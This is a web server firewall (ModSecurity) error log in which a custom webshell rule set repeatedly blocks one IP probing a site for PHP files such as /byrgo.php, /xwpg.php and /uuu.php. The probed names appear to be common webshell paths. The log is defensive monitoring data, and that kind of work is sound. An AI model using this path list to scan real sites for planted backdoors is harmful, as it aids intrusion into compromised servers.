[Fri Apr 10 23:30:25.931708 2026] [:error] [pid 63062:tid 63064] [client 158.158.53.142:49508] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "adkXkZ2HtsmV85NqkMcRoQAAA4A"]
[Fri Apr 10 23:30:26.523111 2026] [:error] [pid 13101:tid 13151] [client 158.158.53.142:48884] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "adkXkt8Ldw85818pj2oh3AAAAJI"]
[Fri Apr 10 23:30:27.067704 2026] [:error] [pid 63062:tid 63075] [client 158.158.53.142:51466] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "adkXk52HtsmV85NqkMcRpQAAA4s"]
[Fri Apr 10 23:30:27.545480 2026] [:error] [pid 63062:tid 63079] [client 158.158.53.142:49529] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "adkXk52HtsmV85NqkMcRqwAAA48"]
[Fri Apr 10 23:30:28.038581 2026] [:error] [pid 63062:tid 63077] [client 158.158.53.142:7775] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwpg.php"] [unique_id "adkXlJ2HtsmV85NqkMcRrwAAA40"]
[Fri Apr 10 23:30:28.590439 2026] [:error] [pid 62710:tid 62732] [client 158.158.53.142:48878] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwpg.php"] [unique_id "adkXlOME7qrf5xEWWJtH-AAAAhM"]
[Fri Apr 10 23:30:29.090707 2026] [:error] [pid 62769:tid 62773] [client 158.158.53.142:52038] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwpg.php"] [unique_id "adkXlcWsSnfLoB8ifjDEKgAAAkI"]
[Fri Apr 10 23:30:29.571291 2026] [:error] [pid 62769:tid 62775] [client 158.158.53.142:51463] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwpg.php"] [unique_id "adkXlcWsSnfLoB8ifjDEMAAAAkQ"]
[Fri Apr 10 23:30:30.052967 2026] [:error] [pid 13101:tid 13157] [client 158.158.53.142:48941] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ass.php"] [unique_id "adkXlt8Ldw85818pj2oh6AAAAJg"]
[Fri Apr 10 23:30:30.525727 2026] [:error] [pid 63134:tid 63158] [client 158.158.53.142:7747] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ass.php"] [unique_id "adkXltFALqPDwWi6eJLKqwAAA9U"]
[Fri Apr 10 23:30:31.030947 2026] [:error] [pid 62769:tid 62771] [client 158.158.53.142:52138] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ass.php"] [unique_id "adkXl8WsSnfLoB8ifjDEPAAAAkA"]
[Fri Apr 10 23:30:32.578113 2026] [:error] [pid 13101:tid 13152] [client 158.158.53.142:50151] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ass.php"] [unique_id "adkXmN8Ldw85818pj2oh6wAAAJM"]
[Fri Apr 10 23:30:33.060898 2026] [:error] [pid 62710:tid 62727] [client 158.158.53.142:49512] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "adkXmeME7qrf5xEWWJtH_AAAAg4"]
[Fri Apr 10 23:30:33.557413 2026] [:error] [pid 62769:tid 62788] [client 158.158.53.142:48901] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "adkXmcWsSnfLoB8ifjDESwAAAlE"]
[Fri Apr 10 23:30:34.173851 2026] [:error] [pid 13101:tid 13156] [client 158.158.53.142:50117] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "adkXmt8Ldw85818pj2oh9wAAAJc"]
[Fri Apr 10 23:30:34.726571 2026] [:error] [pid 13101:tid 13145] [client 158.158.53.142:49501] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "adkXmt8Ldw85818pj2oh-wAAAIw"]
[Fri Apr 10 23:30:35.209038 2026] [:error] [pid 62769:tid 62780] [client 158.158.53.142:50149] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no18.php"] [unique_id "adkXm8WsSnfLoB8ifjDEUgAAAkk"]
[Fri Apr 10 23:30:35.721467 2026] [:error] [pid 13189:tid 13200] [client 158.158.53.142:49516] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no18.php"] [unique_id "adkXm5AxiJKPums3eBANOAAAAEg"]
[Fri Apr 10 23:30:36.221494 2026] [:error] [pid 62769:tid 62792] [client 158.158.53.142:49587] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no18.php"] [unique_id "adkXnMWsSnfLoB8ifjDEVgAAAlU"]
[Fri Apr 10 23:30:36.697651 2026] [:error] [pid 13189:tid 13208] [client 158.158.53.142:48864] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no18.php"] [unique_id "adkXnJAxiJKPums3eBANPQAAAFA"]
[Fri Apr 10 23:30:37.183349 2026] [:error] [pid 13189:tid 13202] [client 158.158.53.142:51475] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fine.php"] [unique_id "adkXnZAxiJKPums3eBANPgAAAEo"]
[Fri Apr 10 23:30:37.719878 2026] [:error] [pid 62710:tid 62721] [client 158.158.53.142:52131] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fine.php"] [unique_id "adkXneME7qrf5xEWWJtH_gAAAgg"]
[Fri Apr 10 23:30:38.230848 2026] [:error] [pid 62769:tid 62792] [client 158.158.53.142:50156] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fine.php"] [unique_id "adkXnsWsSnfLoB8ifjDEYgAAAlU"]
[Fri Apr 10 23:30:38.782199 2026] [:error] [pid 62710:tid 62729] [client 158.158.53.142:48905] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fine.php"] [unique_id "adkXnuME7qrf5xEWWJtIAgAAAhA"]
[Fri Apr 10 23:30:39.370557 2026] [:error] [pid 62819:tid 62834] [client 158.158.53.142:51487] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zample.php"] [unique_id "adkXn_U20EyPf7NlsleF6wAAAow"]
[Fri Apr 10 23:30:40.183455 2026] [:error] [pid 62884:tid 62905] [client 158.158.53.142:48839] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zample.php"] [unique_id "adkXoOUCK1xrhnnmpo2bqQAAAs4"]
[Fri Apr 10 23:30:40.747596 2026] [:error] [pid 62710:tid 62737] [client 158.158.53.142:7749] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zample.php"] [unique_id "adkXoOME7qrf5xEWWJtIDgAAAhg"]
[Fri Apr 10 23:30:41.440910 2026] [:error] [pid 62769:tid 62780] [client 158.158.53.142:52159] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zample.php"] [unique_id "adkXocWsSnfLoB8ifjDEaQAAAkk"]
[Fri Apr 10 23:30:42.003130 2026] [:error] [pid 62884:tid 62891] [client 158.158.53.142:49523] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "adkXouUCK1xrhnnmpo2bqwAAAsA"]
[Fri Apr 10 23:30:42.541158 2026] [:error] [pid 63134:tid 63160] [client 158.158.53.142:48887] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "adkXotFALqPDwWi6eJLKwQAAA9c"]
[Fri Apr 10 23:30:43.164884 2026] [:error] [pid 63134:tid 63149] [client 158.158.53.142:51500] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "adkXo9FALqPDwWi6eJLKxQAAA8w"]
[Fri Apr 10 23:30:43.639327 2026] [:error] [pid 63062:tid 63075] [client 158.158.53.142:48899] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "adkXo52HtsmV85NqkMcRwwAAA4s"]
[Fri Apr 10 23:30:44.141303 2026] [:error] [pid 13189:tid 13192] [client 158.158.53.142:52061] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "adkXpJAxiJKPums3eBANTgAAAEA"]
[Fri Apr 10 23:30:44.635890 2026] [:error] [pid 13189:tid 13207] [client 158.158.53.142:48912] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "adkXpJAxiJKPums3eBANUQAAAE8"]
[Fri Apr 10 23:30:45.130811 2026] [:error] [pid 13101:tid 13151] [client 158.158.53.142:49479] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "adkXpd8Ldw85818pj2oiBAAAAJI"]
[Fri Apr 10 23:30:45.610158 2026] [:error] [pid 62710:tid 62714] [client 158.158.53.142:52150] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "adkXpeME7qrf5xEWWJtIFgAAAgE"]
[Fri Apr 10 23:30:46.320463 2026] [:error] [pid 13101:tid 13147] [client 158.158.53.142:7804] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "adkXpt8Ldw85818pj2oiBwAAAI4"]
[Fri Apr 10 23:30:46.871175 2026] [:error] [pid 13101:tid 13138] [client 158.158.53.142:49546] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "adkXpt8Ldw85818pj2oiDQAAAIU"]
[Fri Apr 10 23:30:47.429026 2026] [:error] [pid 62769:tid 62792] [client 158.158.53.142:52075] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "adkXp8WsSnfLoB8ifjDEhgAAAlU"]
[Fri Apr 10 23:30:48.061963 2026] [:error] [pid 62769:tid 62773] [client 158.158.53.142:52047] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "adkXqMWsSnfLoB8ifjDEjQAAAkI"]
[Fri Apr 10 23:30:48.648764 2026] [:error] [pid 62769:tid 62777] [client 158.158.53.142:52128] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inege.php"] [unique_id "adkXqMWsSnfLoB8ifjDElAAAAkY"]
[Fri Apr 10 23:30:49.157745 2026] [:error] [pid 13101:tid 13143] [client 158.158.53.142:49510] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inege.php"] [unique_id "adkXqd8Ldw85818pj2oiIwAAAIo"]
[Fri Apr 10 23:30:49.704324 2026] [:error] [pid 13189:tid 13197] [client 158.158.53.142:52110] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inege.php"] [unique_id "adkXqZAxiJKPums3eBANaAAAAEU"]
[Fri Apr 10 23:30:50.358027 2026] [:error] [pid 62769:tid 62775] [client 158.158.53.142:52062] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inege.php"] [unique_id "adkXqsWsSnfLoB8ifjDEoQAAAkQ"]
[Fri Apr 10 23:30:51.156330 2026] [:error] [pid 63134:tid 63151] [client 158.158.53.142:7752] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "adkXq9FALqPDwWi6eJLK0gAAA84"]
[Fri Apr 10 23:30:51.671126 2026] [:error] [pid 62884:tid 62914] [client 158.158.53.142:50120] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "adkXq-UCK1xrhnnmpo2brwAAAtc"]
[Fri Apr 10 23:30:52.188562 2026] [:error] [pid 62769:tid 62771] [client 158.158.53.142:50157] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "adkXrMWsSnfLoB8ifjDEqwAAAkA"]
[Fri Apr 10 23:30:52.831894 2026] [:error] [pid 62769:tid 62772] [client 158.158.53.142:52082] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "adkXrMWsSnfLoB8ifjDEtAAAAkE"]
[Fri Apr 10 23:30:53.858322 2026] [:error] [pid 62710:tid 62731] [client 158.158.53.142:49486] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "adkXreME7qrf5xEWWJtIIwAAAhI"]
[Fri Apr 10 23:30:54.461307 2026] [:error] [pid 62769:tid 62781] [client 158.158.53.142:51517] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "adkXrsWsSnfLoB8ifjDEwgAAAko"]
[Fri Apr 10 23:30:55.088981 2026] [:error] [pid 13101:tid 13156] [client 158.158.53.142:49522] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "adkXr98Ldw85818pj2oiKgAAAJc"]
[Fri Apr 10 23:30:55.883160 2026] [:error] [pid 62769:tid 62785] [client 158.158.53.142:49499] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "adkXr8WsSnfLoB8ifjDExAAAAk4"]
[Fri Apr 10 23:30:56.372875 2026] [:error] [pid 62651:tid 62664] [client 158.158.53.142:50146] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sf.php"] [unique_id "adkXsDbAH0le57SIaqw5eAAAAcs"]
[Fri Apr 10 23:30:56.918706 2026] [:error] [pid 62769:tid 62779] [client 158.158.53.142:49511] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sf.php"] [unique_id "adkXsMWsSnfLoB8ifjDExgAAAkg"]
[Fri Apr 10 23:30:57.450508 2026] [:error] [pid 13101:tid 13142] [client 158.158.53.142:48888] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sf.php"] [unique_id "adkXsd8Ldw85818pj2oiLAAAAIk"]
[Fri Apr 10 23:30:58.012904 2026] [:error] [pid 62819:tid 62837] [client 158.158.53.142:7909] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sf.php"] [unique_id "adkXsvU20EyPf7NlsleF_QAAAo8"]
